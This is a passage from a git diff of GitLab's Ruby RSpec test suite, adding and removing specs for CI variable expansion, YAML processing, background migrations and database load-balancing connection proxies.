+ { key: 'variable3', value: 'key_${variable}_$${HOME}_%%HOME%%' },
+ { key: 'variable', value: '$variable2' },
+ { key: 'variable2', value: 'value2' }
+ ],
+ keep_undefined: false
+ },
"array with cyclic dependency": {
variables: [
{ key: 'variable', value: '$variable2' },
@@ -391,6 +428,30 @@ RSpec.describe Gitlab::Ci::Variables::Collection do
{ key: 'variable3', value: 'keyvalueresult' }
]
},
+ "escaped characters in complex expansions keeping undefined are kept intact": {
+ variables: [
+ { key: 'variable3', value: 'key_${variable}_$${HOME}_%%HOME%%' },
+ { key: 'variable', value: '$variable2' },
+ { key: 'variable2', value: 'value' }
+ ],
+ keep_undefined: true,
+ result: [
+ { key: 'variable', value: 'value' },
+ { key: 'variable2', value: 'value' },
+ { key: 'variable3', value: 'key_value_$${HOME}_%%HOME%%' }
+ ]
+ },
+ "escaped characters in complex expansions discarding undefined are kept intact": {
+ variables: [
+ { key: 'variable2', value: 'key_${variable4}_$${HOME}_%%HOME%%' },
+ { key: 'variable', value: 'value_$${HOME}_%%HOME%%' }
+ ],
+ keep_undefined: false,
+ result: [
+ { key: 'variable', value: 'value_$${HOME}_%%HOME%%' },
+ { key: 'variable2', value: 'key__$${HOME}_%%HOME%%' }
+ ]
+ },
"out-of-order expansion": {
variables: [
{ key: 'variable3', value: 'key$variable2$variable' },
@@ -417,7 +478,7 @@ RSpec.describe Gitlab::Ci::Variables::Collection do
{ key: 'variable3', value: 'keyresultvalue' }
]
},
- "missing variable": {
+ "missing variable discarding original": {
variables: [
{ key: 'variable2', value: 'key$variable' }
],
@@ -461,6 +522,19 @@ RSpec.describe Gitlab::Ci::Variables::Collection do
{ key: 'variable3', value: 'key_$variable2_value2' }
]
},
+ "variable value referencing password with special characters": {
+ variables: [
+ { key: 'VAR', value: '$PASSWORD' },
+ { key: 'PASSWORD', value: 'my_password$$_%%_$A' },
+ { key: 'A', value: 'value' }
+ ],
+ keep_undefined: false,
+ result: [
+ { key: 'VAR', value: 'my_password$$_%%_value' },
+ { key: 'PASSWORD', value: 'my_password$$_%%_value' },
+ { key: 'A', value: 'value' }
+ ]
+ },
"cyclic dependency causes original array to be returned": {
variables: [
{ key: 'variable', value: '$variable2' },
diff --git a/spec/lib/gitlab/ci/yaml_processor/result_spec.rb b/spec/lib/gitlab/ci/yaml_processor/result_spec.rb
index e345cd4de9b..25705fd4260 100644
--- a/spec/lib/gitlab/ci/yaml_processor/result_spec.rb
+++ b/spec/lib/gitlab/ci/yaml_processor/result_spec.rb
@@ -39,6 +39,59 @@ module Gitlab
expect(expanded_config).to include(*included_config.keys)
end
end
+
+ describe '#yaml_variables_for' do
+ let(:config_content) do
+ <<~YAML
+ variables:
+ VAR1: value 1
+ VAR2: value 2
+
+ job:
+ script: echo 'hello'
+ variables:
+ VAR1: value 11
+ YAML
+ end
+
+ let(:job_name) { :job }
+
+ subject(:yaml_variables_for) { result.yaml_variables_for(job_name) }
+
+ it 'returns calculated variables with root and job variables' do
+ is_expected.to match_array([
+ { key: 'VAR1', value: 'value 11', public: true },
+ { key: 'VAR2', value: 'value 2', public: true }
+ ])
+ end
+
+ context 'when an absent job is sent' do
+ let(:job_name) { :invalid_job }
+
+ it { is_expected.to eq([]) }
+ end
+ end
+
+ describe '#stage_for' do
+ let(:config_content) do
+ <<~YAML
+ job:
+ script: echo 'hello'
+ YAML
+ end
+
+ let(:job_name) { :job }
+
+ subject(:stage_for) { result.stage_for(job_name) }
+
+ it { is_expected.to eq('test') }
+
+ context 'when an absent job is sent' do
+ let(:job_name) { :invalid_job }
+
+ it { is_expected.to be_nil }
+ end
+ end
end
end
end
diff --git a/spec/lib/gitlab/ci/yaml_processor_spec.rb b/spec/lib/gitlab/ci/yaml_processor_spec.rb
index 94ab4819361..e8e44f884cf 100644
--- a/spec/lib/gitlab/ci/yaml_processor_spec.rb
+++ b/spec/lib/gitlab/ci/yaml_processor_spec.rb
@@ -485,10 +485,6 @@ module Gitlab
end
describe '#warnings' do
- before do
- stub_feature_flags(ci_raise_job_rules_without_workflow_rules_warning: true)
- end
-
context 'when a warning is raised in a given entry' do
let(:config) do
<<-EOYML
@@ -602,27 +598,6 @@ module Gitlab
it_behaves_like 'has warnings and expected error', /build job: need test is not defined in prior stages/
end
end
-
- context 'when feature flag is disabled' do
- before do
- stub_feature_flags(ci_raise_job_rules_without_workflow_rules_warning: false)
- end
-
- context 'job rules used without workflow rules' do
- let(:config) do
- <<-EOYML
- rspec:
- script: rspec
- rules:
- - when: always
- EOYML
- end
-
- it 'does not raise the warning' do
- expect(subject.warnings).to be_empty
- end
- end
- end
end
describe 'only / except policies validations' do
diff --git a/spec/lib/gitlab/cleanup/orphan_lfs_file_references_spec.rb b/spec/lib/gitlab/cleanup/orphan_lfs_file_references_spec.rb
index 6b568320953..b0f7703462a 100644
--- a/spec/lib/gitlab/cleanup/orphan_lfs_file_references_spec.rb
+++ b/spec/lib/gitlab/cleanup/orphan_lfs_file_references_spec.rb
@@ -53,7 +53,7 @@ RSpec.describe Gitlab::Cleanup::OrphanLfsFileReferences do
expect(null_logger).to receive(:info).with(/Looking for orphan LFS files/)
expect(null_logger).to receive(:info).with(/Nothing to do/)
- project.lfs_objects_projects.delete_all
+ LfsObjectsProject.where(project: project).delete_all
expect(service).not_to receive(:remove_orphan_references)
diff --git a/spec/lib/gitlab/cluster/mixins/unicorn_http_server_spec.rb b/spec/lib/gitlab/cluster/mixins/unicorn_http_server_spec.rb
deleted file mode 100644
index 7f7c95b2527..00000000000
--- a/spec/lib/gitlab/cluster/mixins/unicorn_http_server_spec.rb
+++ /dev/null
@@ -1,117 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-# For easier debugging set `UNICORN_DEBUG=1`
-
-RSpec.describe Gitlab::Cluster::Mixins::UnicornHttpServer do
- before do
- stub_const('UNICORN_STARTUP_TIMEOUT', 30)
- end
-
- context 'when running Unicorn' do
- using RSpec::Parameterized::TableSyntax
-
- where(:signal, :exitstatus, :termsig) do
- # executes phased restart block
- :USR2 | 140 | nil
- :QUIT | 140 | nil
-
- # does not execute phased restart block
- :INT | 0 | nil
- :TERM | 0 | nil
- end
-
- with_them do
- it 'properly handles process lifecycle' do
- with_unicorn(workers: 1) do |pid|
- Process.kill(signal, pid)
-
- child_pid, child_status = Process.wait2(pid)
- expect(child_pid).to eq(pid)
- expect(child_status.exitstatus).to eq(exitstatus)
- expect(child_status.termsig).to eq(termsig)
- end
- end
- end
- end
-
- private
-
- def with_unicorn(workers:, timeout: UNICORN_STARTUP_TIMEOUT)
- with_unicorn_configs(workers: workers) do |unicorn_rb, config_ru|
- cmdline = [
- "bundle", "exec", "unicorn",
- "-I", Rails.root.to_s,
- "-c", unicorn_rb,
- config_ru
- ]
-
- IO.popen(cmdline) do |process|
- # wait for process to start:
- # I, [2019-10-15T13:21:27.565225 #3089] INFO -- : master process ready
- wait_for_output(process, /master process ready/, timeout: timeout)
- consume_output(process)
-
- yield(process.pid)
- ensure
- begin
- Process.kill(:KILL, process.pid)
- rescue Errno::ESRCH
- end
- end
- end
- end
-
- def with_unicorn_configs(workers:)
- Dir.mktmpdir do |dir|
- File.write "#{dir}/unicorn.rb", <<-EOF
- require './lib/gitlab/cluster/lifecycle_events'
- require './lib/gitlab/cluster/mixins/unicorn_http_server'
-
- worker_processes #{workers}
- listen "127.0.0.1:0"
- preload_app true
-
- Unicorn::HttpServer.prepend(#{described_class})
-
- mutex = Mutex.new
-
- Gitlab::Cluster::LifecycleEvents.on_before_blackout_period do
- mutex.synchronize do
- exit(140)
- end
- end
-
- # redirect stderr to stdout
- $stderr.reopen($stdout)
- EOF
-
- File.write "#{dir}/config.ru", <<-EOF
- run -> (env) { [404, {}, ['']] }
- EOF
-
- yield("#{dir}/unicorn.rb", "#{dir}/config.ru")
- end
- end
-
- def wait_for_output(process, output, timeout:)
- Timeout.timeout(timeout) do
- loop do
- line = process.readline
- puts "UNICORN_DEBUG: #{line}" if ENV['UNICORN_DEBUG']
- break if line =~ output
- end
- end
- end
-
- def consume_output(process)
- Thread.new do
- loop do
- line = process.readline
- puts "UNICORN_DEBUG: #{line}" if ENV['UNICORN_DEBUG']
- end
- rescue StandardError
- end
- end
-end
diff --git a/spec/lib/gitlab/content_security_policy/config_loader_spec.rb b/spec/lib/gitlab/content_security_policy/config_loader_spec.rb
index 19e52d2cf4a..d08057fb10a 100644
--- a/spec/lib/gitlab/content_security_policy/config_loader_spec.rb
+++ b/spec/lib/gitlab/content_security_policy/config_loader_spec.rb
@@ -58,6 +58,7 @@ RSpec.describe Gitlab::ContentSecurityPolicy::ConfigLoader do
expect(directives['script_src']).to eq("'strict-dynamic' 'self' 'unsafe-inline' 'unsafe-eval' https://www.google.com/recaptcha/ https://www.recaptcha.net https://apis.google.com https://example.com")
expect(directives['style_src']).to eq("'self' 'unsafe-inline' https://example.com")
+ expect(directives['font_src']).to eq("'self' https://example.com")
end
end
end
diff --git a/spec/lib/gitlab/cycle_analytics/stage_summary_spec.rb b/spec/lib/gitlab/cycle_analytics/stage_summary_spec.rb
index 2cdf95ea101..b9e0132badb 100644
--- a/spec/lib/gitlab/cycle_analytics/stage_summary_spec.rb
+++ b/spec/lib/gitlab/cycle_analytics/stage_summary_spec.rb
@@ -4,14 +4,15 @@ require 'spec_helper'
RSpec.describe Gitlab::CycleAnalytics::StageSummary do
let(:project) { create(:project, :repository) }
- let(:options) { { from: 1.day.ago, current_user: user } }
+ let(:options) { { from: 1.day.ago } }
+ let(:args) { { options: options, current_user: user } }
let(:user) { create(:user, :admin) }
before do
project.add_maintainer(user)
end
- let(:stage_summary) { described_class.new(project, **options).data }
+ let(:stage_summary) { described_class.new(project, **args).data }
describe "#new_issues" do
subject { stage_summary.first }
@@ -117,11 +118,11 @@ RSpec.describe Gitlab::CycleAnalytics::StageSummary do
before do
project.add_guest(guest_user)
- options.merge!({ current_user: guest_user })
+ args.merge!({ current_user: guest_user })
end
it 'does not include commit stats' do
- data = described_class.new(project, **options).data
+ data = described_class.new(project, **args).data
expect(includes_commits?(data)).to be_falsy
end
diff --git a/spec/lib/gitlab/data_builder/build_spec.rb b/spec/lib/gitlab/data_builder/build_spec.rb
index a31e5a1d1e2..325fdb90929 100644
--- a/spec/lib/gitlab/data_builder/build_spec.rb
+++ b/spec/lib/gitlab/data_builder/build_spec.rb
@@ -47,6 +47,8 @@ RSpec.describe Gitlab::DataBuilder::Build do
it { expect(data[:runner][:id]).to eq(build.runner.id) }
it { expect(data[:runner][:tags]).to match_array(tag_names) }
it { expect(data[:runner][:description]).to eq(build.runner.description) }
+ it { expect(data[:runner][:runner_type]).to eq(build.runner.runner_type) }
+ it { expect(data[:runner][:is_shared]).to eq(build.runner.instance_type?) }
it { expect(data[:environment]).to be_nil }
context 'commit author_url' do
diff --git a/spec/lib/gitlab/data_builder/pipeline_spec.rb b/spec/lib/gitlab/data_builder/pipeline_spec.rb
index bec1e612c02..c05a044f0de 100644
--- a/spec/lib/gitlab/data_builder/pipeline_spec.rb
+++ b/spec/lib/gitlab/data_builder/pipeline_spec.rb
@@ -58,8 +58,10 @@ RSpec.describe Gitlab::DataBuilder::Pipeline do
it 'has runner attributes', :aggregate_failures do
expect(runner_data[:id]).to eq(ci_runner.id)
expect(runner_data[:description]).to eq(ci_runner.description)
+ expect(runner_data[:runner_type]).to eq(ci_runner.runner_type)
expect(runner_data[:active]).to eq(ci_runner.active)
expect(runner_data[:tags]).to match_array(tag_names)
+ expect(runner_data[:is_shared]).to eq(ci_runner.instance_type?)
end
end
diff --git a/spec/lib/gitlab/data_builder/wiki_page_spec.rb b/spec/lib/gitlab/data_builder/wiki_page_spec.rb
index ec768cf9719..276ddb1e0af 100644
--- a/spec/lib/gitlab/data_builder/wiki_page_spec.rb
+++ b/spec/lib/gitlab/data_builder/wiki_page_spec.rb
@@ -4,8 +4,8 @@ require 'spec_helper'
RSpec.describe Gitlab::DataBuilder::WikiPage do
let_it_be(:project) { create(:project, :repository, :wiki_repo) }
- let(:wiki_page) { create(:wiki_page, wiki: project.wiki) }
- let(:user) { create(:user) }
+ let_it_be(:wiki_page) { create(:wiki_page, wiki: project.wiki) }
+ let_it_be(:user) { create(:user) }
describe '.build' do
let(:data) { described_class.build(wiki_page, user, 'create') }
@@ -19,5 +19,6 @@ RSpec.describe Gitlab::DataBuilder::WikiPage do
it { expect(data[:object_attributes]).to include(wiki_page.hook_attrs) }
it { expect(data[:object_attributes]).to include(url: Gitlab::UrlBuilder.build(wiki_page)) }
it { expect(data[:object_attributes]).to include(action: 'create') }
+ it { expect(data[:object_attributes]).to include(diff_url: Gitlab::UrlBuilder.build(wiki_page, action: :diff, version_id: wiki_page.version.id)) }
end
end
diff --git a/spec/lib/gitlab/database/background_migration/batched_job_spec.rb b/spec/lib/gitlab/database/background_migration/batched_job_spec.rb
index 78e0b7627e9..2de784d3e16 100644
--- a/spec/lib/gitlab/database/background_migration/batched_job_spec.rb
+++ b/spec/lib/gitlab/database/background_migration/batched_job_spec.rb
@@ -49,16 +49,6 @@ RSpec.describe Gitlab::Database::BackgroundMigration::BatchedJob, type: :model d
let(:batched_job) { build(:batched_background_migration_job) }
let(:batched_migration) { batched_job.batched_migration }
- describe '#migration_aborted?' do
- before do
- batched_migration.status = :aborted
- end
-
- it 'returns the migration aborted?' do
- expect(batched_job.migration_aborted?).to eq(batched_migration.aborted?)
- end
- end
-
describe '#migration_job_class' do
it 'returns the migration job_class' do
expect(batched_job.migration_job_class).to eq(batched_migration.job_class)
diff --git a/spec/lib/gitlab/database/background_migration/batched_migration_spec.rb b/spec/lib/gitlab/database/background_migration/batched_migration_spec.rb
index 43e34325419..d881390cd52 100644
--- a/spec/lib/gitlab/database/background_migration/batched_migration_spec.rb
+++ b/spec/lib/gitlab/database/background_migration/batched_migration_spec.rb
@@ -19,6 +19,12 @@ RSpec.describe Gitlab::Database::BackgroundMigration::BatchedMigration, type: :m
end
end
+ describe 'validations' do
+ subject { build(:batched_background_migration) }
+
+ it { is_expected.to validate_uniqueness_of(:job_arguments).scoped_to(:job_class_name, :table_name, :column_name) }
+ end
+
describe '.queue_order' do
let!(:migration1) { create(:batched_background_migration) }
let!(:migration2) { create(:batched_background_migration) }
@@ -36,6 +42,38 @@ RSpec.describe Gitlab::Database::BackgroundMigration::BatchedMigration, type: :m
it 'returns the first active migration according to queue order' do
expect(described_class.active_migration).to eq(migration2)
+ create(:batched_background_migration_job, batched_migration: migration1, batch_size: 1000, status: :succeeded)
+ end
+ end
+
+ describe '.queued' do
+ let!(:migration1) { create(:batched_background_migration, :finished) }
+ let!(:migration2) { create(:batched_background_migration, :paused) }
+ let!(:migration3) { create(:batched_background_migration, :active) }
+
+ it 'returns active and paused migrations' do
+ expect(described_class.queued).to contain_exactly(migration2, migration3)
+ end
+ end
+
+ describe '.successful_rows_counts' do
+ let!(:migration1) { create(:batched_background_migration) }
+ let!(:migration2) { create(:batched_background_migration) }
+ let!(:migration_without_jobs) { create(:batched_background_migration) }
+
+ before do
+ create(:batched_background_migration_job, batched_migration: migration1, batch_size: 1000, status: :succeeded)
+ create(:batched_background_migration_job, batched_migration: migration1, batch_size: 200, status: :failed)
+ create(:batched_background_migration_job, batched_migration: migration2, batch_size: 500, status: :succeeded)
+ create(:batched_background_migration_job, batched_migration: migration2, batch_size: 200, status: :running)
+ end
+
+ it 'returns totals from successful jobs' do
+ results = described_class.successful_rows_counts([migration1, migration2, migration_without_jobs])
+
+ expect(results[migration1.id]).to eq(1000)
+ expect(results[migration2.id]).to eq(500)
+ expect(results[migration_without_jobs.id]).to eq(nil)
end
end
@@ -324,4 +362,29 @@ RSpec.describe Gitlab::Database::BackgroundMigration::BatchedMigration, type: :m
subject
end
end
+
+ describe '.for_configuration' do
+ let!(:migration) do
+ create(
+ :batched_background_migration,
+ job_class_name: 'MyJobClass',
+ table_name: :projects,
+ column_name: :id,
+ job_arguments: [[:id], [:id_convert_to_bigint]]
+ )
+ end
+
+ before do
+ create(:batched_background_migration, job_class_name: 'OtherClass')
+ create(:batched_background_migration, table_name: 'other_table')
+ create(:batched_background_migration, column_name: 'other_column')
+ create(:batched_background_migration, job_arguments: %w[other arguments])
+ end
+
+ it 'finds the migration matching the given configuration parameters' do
+ actual = described_class.for_configuration('MyJobClass', :projects, :id, [[:id], [:id_convert_to_bigint]])
+
+ expect(actual).to contain_exactly(migration)
+ end
+ end
end
diff --git a/spec/lib/gitlab/database/consistency_spec.rb b/spec/lib/gitlab/database/consistency_spec.rb
new file mode 100644
index 00000000000..35fa65512ae
--- /dev/null
+++ b/spec/lib/gitlab/database/consistency_spec.rb
@@ -0,0 +1,25 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Database::Consistency do
+ let(:session) do
+ Gitlab::Database::LoadBalancing::Session.current
+ end
+
+ describe '.with_read_consistency' do
+ it 'sticks to primary database' do
+ expect(session).not_to be_using_primary
+
+ block = -> (&control) do
+ described_class.with_read_consistency do
+ expect(session).to be_using_primary
+
+ control.call
+ end
+ end
+
+ expect { |probe| block.call(&probe) }.to yield_control
+ end
+ end
+end
diff --git a/spec/lib/gitlab/database/count/reltuples_count_strategy_spec.rb b/spec/lib/gitlab/database/count/reltuples_count_strategy_spec.rb
index 324ed498abc..cdcc862c376 100644
--- a/spec/lib/gitlab/database/count/reltuples_count_strategy_spec.rb
+++ b/spec/lib/gitlab/database/count/reltuples_count_strategy_spec.rb
@@ -27,7 +27,7 @@ RSpec.describe Gitlab::Database::Count::ReltuplesCountStrategy do
end
context 'when models using single-type inheritance are used' do
- let(:models) { [Group, CiService, Namespace] }
+ let(:models) { [Group, Integrations::BaseCi, Namespace] }
before do
models.each do |model|
diff --git a/spec/lib/gitlab/database/dynamic_model_helpers_spec.rb b/spec/lib/gitlab/database/dynamic_model_helpers_spec.rb
index 23ad621d0ee..0844616ee1c 100644
--- a/spec/lib/gitlab/database/dynamic_model_helpers_spec.rb
+++ b/spec/lib/gitlab/database/dynamic_model_helpers_spec.rb
@@ -3,12 +3,12 @@
require 'spec_helper'
RSpec.describe Gitlab::Database::DynamicModelHelpers do
+ let(:including_class) { Class.new.include(described_class) }
+ let(:table_name) { 'projects' }
+
describe '#define_batchable_model' do
subject { including_class.new.define_batchable_model(table_name) }
- let(:including_class) { Class.new.include(described_class) }
- let(:table_name) { 'projects' }
-
it 'is an ActiveRecord model' do
expect(subject.ancestors).to include(ActiveRecord::Base)
end
@@ -25,4 +25,86 @@ RSpec.describe Gitlab::Database::DynamicModelHelpers do
expect(subject.inheritance_column).to eq('_type_disabled')
end
end
+
+ describe '#each_batch' do
+ subject { including_class.new }
+
+ before do
+ create_list(:project, 2)
+ end
+
+ context 'when no transaction is open' do
+ before do
+ allow(subject).to receive(:transaction_open?).and_return(false)
+ end
+
+ it 'iterates table in batches' do
+ each_batch_size = ->(&block) do
+ subject.each_batch(table_name, of: 1) do |batch|
+ block.call(batch.size)
+ end
+ end
+
+ expect { |b| each_batch_size.call(&b) }
+ .to yield_successive_args(1, 1)
+ end
+ end
+
+ context 'when transaction is open' do
+ before do
+ allow(subject).to receive(:transaction_open?).and_return(true)
+ end
+
+ it 'raises an error' do
+ expect { subject.each_batch(table_name, of: 1) { |batch| batch.size } }
+ .to raise_error(RuntimeError, /each_batch should not run inside a transaction/)
+ end
+ end
+ end
+
+ describe '#each_batch_range' do
+ subject { including_class.new }
+
+ let(:first_project) { create(:project) }
+ let(:second_project) { create(:project) }
+
+ context 'when no transaction is open' do
+ before do
+ allow(subject).to receive(:transaction_open?).and_return(false)
+ end
+
+ it 'iterates table in batch ranges' do
+ expect { |b| subject.each_batch_range(table_name, of: 1, &b) }
+ .to yield_successive_args(
+ [first_project.id, first_project.id],
+ [second_project.id, second_project.id]
+ )
+ end
+
+ it 'yields only one batch if bigger than the table size' do
+ expect { |b| subject.each_batch_range(table_name, of: 2, &b) }
+ .to yield_successive_args([first_project.id, second_project.id])
+ end
+
+ it 'makes it possible to apply a scope' do
+ each_batch_limited = ->(&b) do
+ subject.each_batch_range(table_name, scope: ->(table) { table.limit(1) }, of: 1, &b)
+ end
+
+ expect { |b| each_batch_limited.call(&b) }
+ .to yield_successive_args([first_project.id, first_project.id])
+ end
+ end
+
+ context 'when transaction is open' do
+ before do
+ allow(subject).to receive(:transaction_open?).and_return(true)
+ end
+
+ it 'raises an error' do
+ expect { subject.each_batch_range(table_name, of: 1) { 1 } }
+ .to raise_error(RuntimeError, /each_batch should not run inside a transaction/)
+ end
+ end
+ end
end
diff --git a/spec/lib/gitlab/database/load_balancing/active_record_proxy_spec.rb b/spec/lib/gitlab/database/load_balancing/active_record_proxy_spec.rb
new file mode 100644
index 00000000000..8886ce9756d
--- /dev/null
+++ b/spec/lib/gitlab/database/load_balancing/active_record_proxy_spec.rb
@@ -0,0 +1,20 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Database::LoadBalancing::ActiveRecordProxy do
+ describe '#connection' do
+ it 'returns a connection proxy' do
+ dummy = Class.new do
+ include Gitlab::Database::LoadBalancing::ActiveRecordProxy
+ end
+
+ proxy = double(:proxy)
+
+ expect(Gitlab::Database::LoadBalancing).to receive(:proxy)
+ .and_return(proxy)
+
+ expect(dummy.new.connection).to eq(proxy)
+ end
+ end
+end
diff --git a/spec/lib/gitlab/database/load_balancing/connection_proxy_spec.rb b/spec/lib/gitlab/database/load_balancing/connection_proxy_spec.rb
new file mode 100644
index 00000000000..015dd2ba8d2
--- /dev/null
+++ b/spec/lib/gitlab/database/load_balancing/connection_proxy_spec.rb
@@ -0,0 +1,316 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Database::LoadBalancing::ConnectionProxy do
+ let(:proxy) { described_class.new }
+
+ describe '#select' do
+ it 'performs a read' do
+ expect(proxy).to receive(:read_using_load_balancer).with(:select, ['foo'])
+
+ proxy.select('foo')
+ end
+ end
+
+ describe '#select_all' do
+ let(:override_proxy) { ActiveRecord::Base.connection.class }
+
+ # We can't use :Gitlab::Utils::Override because this method is dynamically prepended
+ it 'method signatures match' do
+ expect(proxy.method(:select_all).parameters).to eq(override_proxy.instance_method(:select_all).parameters)
+ end
+
+ describe 'using a SELECT query' do
+ it 'runs the query on a secondary' do
+ arel = double(:arel)
+
+ expect(proxy).to receive(:read_using_load_balancer)
+ .with(:select_all, [arel, 'foo', []])
+
+ proxy.select_all(arel, 'foo')
+ end
+ end
+
+ describe 'using a SELECT FOR UPDATE query' do
+ it 'runs the query on the primary and sticks to it' do
+ arel = double(:arel, locked: true)
+
+ expect(proxy).to receive(:write_using_load_balancer)
+ .with(:select_all, [arel, 'foo', []], sticky: true)
+
+ proxy.select_all(arel, 'foo')
+ end
+ end
+ end
+
+ Gitlab::Database::LoadBalancing::ConnectionProxy::NON_STICKY_READS.each do |name|
+ describe "#{name}" do
+ it 'runs the query on the replica' do
+ expect(proxy).to receive(:read_using_load_balancer)
+ .with(name, ['foo'])
+
+ proxy.send(name, 'foo')
+ end
+ end
+ end
+
+ Gitlab::Database::LoadBalancing::ConnectionProxy::STICKY_WRITES.each do |name|
+ describe "#{name}" do
+ it 'runs the query on the primary and sticks to it' do
+ expect(proxy).to receive(:write_using_load_balancer)
+ .with(name, ['foo'], sticky: true)
+
+ proxy.send(name, 'foo')
+ end
+ end
+ end
+
+ describe '.insert_all!' do
+ before do
+ ActiveRecord::Schema.define do
+ create_table :connection_proxy_bulk_insert, force: true do |t|
+ t.string :name, null: true
+ end
+ end
+ end
+
+ after do
+ ActiveRecord::Schema.define do
+ drop_table :connection_proxy_bulk_insert, force: true
+ end
+ end
+
+ let(:model_class) do
+ Class.new(ApplicationRecord) do
+ self.table_name = "connection_proxy_bulk_insert"
+ end
+ end
+
+ it 'inserts data in bulk' do
+ expect(model_class).to receive(:connection)
+ .at_least(:once)
+ .and_return(proxy)
+
+ expect(proxy).to receive(:write_using_load_balancer)
+ .at_least(:once)
+ .and_call_original
+
+ expect do
+ model_class.insert_all! [
+ { name: "item1" },
+ { name: "item2" }
+ ]
+ end.to change { model_class.count }.by(2)
+ end
+ end
+
+ # We have an extra test for #transaction here to make sure that nested queries
+ # are also sent to a primary.
+ describe '#transaction' do
+ let(:session) { double(:session) }
+
+ before do
+ allow(Gitlab::Database::LoadBalancing::Session).to receive(:current)
+ .and_return(session)
+ end
+
+ context 'session fallbacks ambiguous queries to replicas' do
+ let(:replica) { double(:connection) }
+
+ before do
+ allow(session).to receive(:fallback_to_replicas_for_ambiguous_queries?).and_return(true)
+ allow(session).to receive(:use_primary?).and_return(false)
+ allow(replica).to receive(:transaction).and_yield
+ allow(replica).to receive(:select)
+ end
+
+ context 'with a read query' do
+ it 'runs the transaction and any nested queries on the replica' do
+ expect(proxy.load_balancer).to receive(:read)
+ .twice.and_yield(replica)
+ expect(proxy.load_balancer).not_to receive(:read_write)
+ expect(session).not_to receive(:write!)
+
+ proxy.transaction { proxy.select('true') }
+ end
+ end
+
+ context 'with a write query' do
+ it 'raises an exception' do
+ allow(proxy.load_balancer).to receive(:read).and_yield(replica)
+ allow(proxy.load_balancer).to receive(:read_write).and_yield(replica)
+
+ expect do
+ proxy.transaction { proxy.insert('something') }
+ end.to raise_error(Gitlab::Database::LoadBalancing::ConnectionProxy::WriteInsideReadOnlyTransactionError)
+ end
+ end
+ end
+
+ context 'session does not fallback to replicas for ambiguous queries' do
+ let(:primary) { double(:connection) }
+
+ before do
+ allow(session).to receive(:fallback_to_replicas_for_ambiguous_queries?).and_return(false)
+ allow(session).to receive(:use_replicas_for_read_queries?).and_return(false)
+ allow(session).to receive(:use_primary?).and_return(true)
+ allow(primary).to receive(:transaction).and_yield
+ allow(primary).to receive(:select)
+ allow(primary).to receive(:insert)
+ end
+
+ context 'with a read query' do
+ it 'runs the transaction and any nested queries on the primary and stick to it' do
+ expect(proxy.load_balancer).to receive(:read_write)
+ .twice.and_yield(primary)
+ expect(proxy.load_balancer).not_to receive(:read)
+ expect(session).to receive(:write!)
+
+ proxy.transaction { proxy.select('true') }
+ end
+ end
+
+ context 'with a write query' do
+ it 'runs the transaction and any nested queries on the primary and stick to it' do
+ expect(proxy.load_balancer).to receive(:read_write)
+ .twice.and_yield(primary)
+ expect(proxy.load_balancer).not_to receive(:read)
+ expect(session).to receive(:write!).twice
+
+ proxy.transaction { proxy.insert('something') }
+ end
+ end
+ end
+ end
+
+ describe '#method_missing' do
+ it 'runs the query on the primary without sticking to it' do
+ expect(proxy).to receive(:write_using_load_balancer)
+ .with(:foo, ['foo'])
+
+ proxy.foo('foo')
+ end
+
+ it 'properly forwards trailing hash arguments' do
+ allow(proxy.load_balancer).to receive(:read_write)
+
+ expect(proxy).to receive(:write_using_load_balancer).and_call_original
+
+ expect { proxy.case_sensitive_comparison(:table, :attribute, :column, { value: :value, format: :format }) }
+ .not_to raise_error
+ end
+
+ context 'current session prefers to fallback ambiguous queries to replicas' do
+ let(:session) { double(:session) }
+
+ before do
+ allow(Gitlab::Database::LoadBalancing::Session).to receive(:current)
+ .and_return(session)
+ allow(session).to receive(:fallback_to_replicas_for_ambiguous_queries?).and_return(true)
+ allow(session).to receive(:use_primary?).and_return(false)
+ end
+
+ it 'runs the query on the replica' do
+ expect(proxy).to receive(:read_using_load_balancer).with(:foo, ['foo'])
+
+ proxy.foo('foo')
+ end
+
+ it 'properly forwards trailing hash arguments' do
+ allow(proxy.load_balancer).to receive(:read)
+
+ expect(proxy).to receive(:read_using_load_balancer).and_call_original
+
+ expect { proxy.case_sensitive_comparison(:table, :attribute, :column, { value: :value, format: :format }) }
+ .not_to raise_error
+ end
+ end
+ end
+
+ describe '#read_using_load_balancer' do
+ let(:session) { double(:session) }
+ let(:connection) { double(:connection) }
+
+ before do
+ allow(Gitlab::Database::LoadBalancing::Session).to receive(:current)
+ .and_return(session)
+ end
+
+ context 'with a regular session' do
+ it 'uses a secondary' do
+ allow(session).to receive(:use_primary?).and_return(false)
+ allow(session).to receive(:use_replicas_for_read_queries?).and_return(false)
+
+ expect(connection).to receive(:foo).with('foo')
+ expect(proxy.load_balancer).to receive(:read).and_yield(connection)
+
+ proxy.read_using_load_balancer(:foo, ['foo'])
+ end
+ end
+
+ context 'with a regular session and forcing all reads to replicas' do
+ it 'uses a secondary' do
+ allow(session).to receive(:use_primary?).and_return(false)
+ allow(session).to receive(:use_replicas_for_read_queries?).and_return(true)
+
+ expect(connection).to receive(:foo).with('foo')
+ expect(proxy.load_balancer).to receive(:read).and_yield(connection)
+
+ proxy.read_using_load_balancer(:foo, ['foo'])
+ end
+ end
+
+ context 'with a session using the primary but forcing all reads to replicas' do
+ it 'uses a secondary' do
+ allow(session).to receive(:use_primary?).and_return(true)
+ allow(session).to receive(:use_replicas_for_read_queries?).and_return(true)
+
+ expect(connection).to receive(:foo).with('foo')
+ expect(proxy.load_balancer).to receive(:read).and_yield(connection)
+
+ proxy.read_using_load_balancer(:foo, ['foo'])
+ end
+ end
+
+ describe 'with a session using the primary' do
+ it 'uses the primary' do
+ allow(session).to receive(:use_primary?).and_return(true)
+ allow(session).to receive(:use_replicas_for_read_queries?).and_return(false)
+
+ expect(connection).to receive(:foo).with('foo')
+
+ expect(proxy.load_balancer).to receive(:read_write)
+ .and_yield(connection)
+
+ proxy.read_using_load_balancer(:foo, ['foo'])
+ end
+ end
+ end
+
+ describe '#write_using_load_balancer' do
+ let(:session) { double(:session) }
+ let(:connection) { double(:connection) }
+
+ before do
+ allow(Gitlab::Database::LoadBalancing::Session).to receive(:current)
+ .and_return(session)
+ end
+
+ it 'uses but does not stick to the primary when sticking is disabled' do
+ expect(proxy.load_balancer).to receive(:read_write).and_yield(connection)
+ expect(connection).to receive(:foo).with('foo')
